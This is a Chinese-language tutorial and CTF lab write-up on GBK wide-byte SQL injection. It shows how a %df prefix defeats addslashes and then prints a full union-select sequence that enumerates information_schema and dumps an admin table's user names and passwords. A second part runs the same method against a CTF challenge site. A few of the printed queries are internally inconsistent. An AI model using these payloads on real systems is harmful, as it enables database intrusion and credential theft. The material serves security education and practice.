宽字节注入
前言
宽字节是相对于ascII这样单字节而言的;像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。
GBK是一种多字符的编码,通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节
GBK编码:
utf-8编码:
转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;Mysql中转义的函数addslashes
,mysql_real_escape_string
,mysql_escape_string
等。
宽字节注入指的是mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为\’
,其中\
的十六进制是%5c
,mysql的GBK编码,会认为%df%5c
是一个宽字节,也就是運
,从而使单引号闭合(逃逸),进行注入攻击。
以下是数据的变化过程:
1 | %df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’ |
环境搭建及分析
demo1
链接:https://pan.baidu.com/s/1cMFtCpbbaocMjaWJx7YLcQ 密码:ykve
数据库名为test,数据库的编码全部为gbk。
将index.php放到phpStudy的WWW目录下,将test.sql文件导入到数据库中即可
核心源码:
1 | <?php |
sql语句是SELECT * FROM news WHERE tid='{$id}
根据id从数据库表中获取信息。
单纯加上单引号没有报错,说明addslashes函数发挥了作用,将'
–> \'
,这样就不会存在注入了。
执行的SQL语句是:SELECT * FROM news WHERE tid='1\''
此时,在单引号前面加上前面讲的%df
,使mysql认为%df\
是一个汉字,这样’
就可以逃逸出来,使tid='1'
闭合。
这时候,按说是可以构造查询语句了,可是为什么还在报错呢,因为tid='1'
后面的'
没有闭合,需要使用注释符号(– ‘或#)将这个多余的’
注释掉,这样就可以构造注入语句了。
执行的SQL语句是:SELECT * FROM news WHERE tid='-1 運' -- \''
下面就可以按照手动注入的思路进行数据的获取了。
确定表的字段数
经过order by查询,测得字段为3.
确定字段的显示位
显示位:表中数据第几位的字段可以 显示,因为并不是所有的查询结果都 会展示在页面中,因此需要探测页面 中展示的查询结果是哪一列的结果; union select 1,2,3
通过显示的数字可以判断那些字段可以显示出来。
执行的SQL语句是:SELECT * FROM news WHERE tid='-1 運' union select 1,2,3 -- \''
id的值要用-1
或者该表中没有用过的id值,否则测试值会被覆盖。
获取当前数据库信息
现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用:group_concat()函数(可以把查询出来的多行数据连接起来在一个字段中显示) database()函数:查看当前数据库名称 version()函数:查看数据库版本信息 user():返回当前数据库连接使用的用户 char():将十进制ASCII码转化成字符。
执行的SQL语句:SELECT * FROM news WHERE tid='-1 運' union select 1,2,group_concat(database()) -- \''
当前数据库名为’test’。
获取test数据库中的表信息
Mysql有一个系统的数据库information_schema,里面保存着所有数据库的相关信息,使用该表完成注入
执行的SQL语句:SELECT * FROM news WHERE tid='-1 運' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=test -- \''
由于存在addslashes
转义了单引号,如果在table_schema中继续使用单引号包裹数据库名字,就会报错,这时候需要使用十六进制编码来避免这个问题。
获取admin表的字段
column_name表示获取字段名
执行的SQL语句:SELECT * FROM news WHERE tid='-1 運' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=admin -- \''
table_name需要使用十六进制编码
获取admin表的数据
执行的SQL语句:SELECT * FROM news WHERE tid='-1 運' union select 1,2,group_concat(uid,name,pass) from admin -- \''
demo2
题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
简单尝试一下:
很明显的宽字节注入。
判断列数:
经过order by测试,列数为2
库名:
当前数据库
表名:
列名
由于不知道flag在哪个表中,只能一个个去试。。。
最终在ctf4中得到flag。
爆数据
小结
上面的题目用SQLmap也能跑出来,不过作为一个手工党,基本的手工注入还是要会的。